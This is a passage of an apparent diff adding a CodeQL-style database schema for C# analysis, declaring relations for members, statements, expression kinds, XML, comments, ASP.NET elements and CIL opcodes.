@type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + 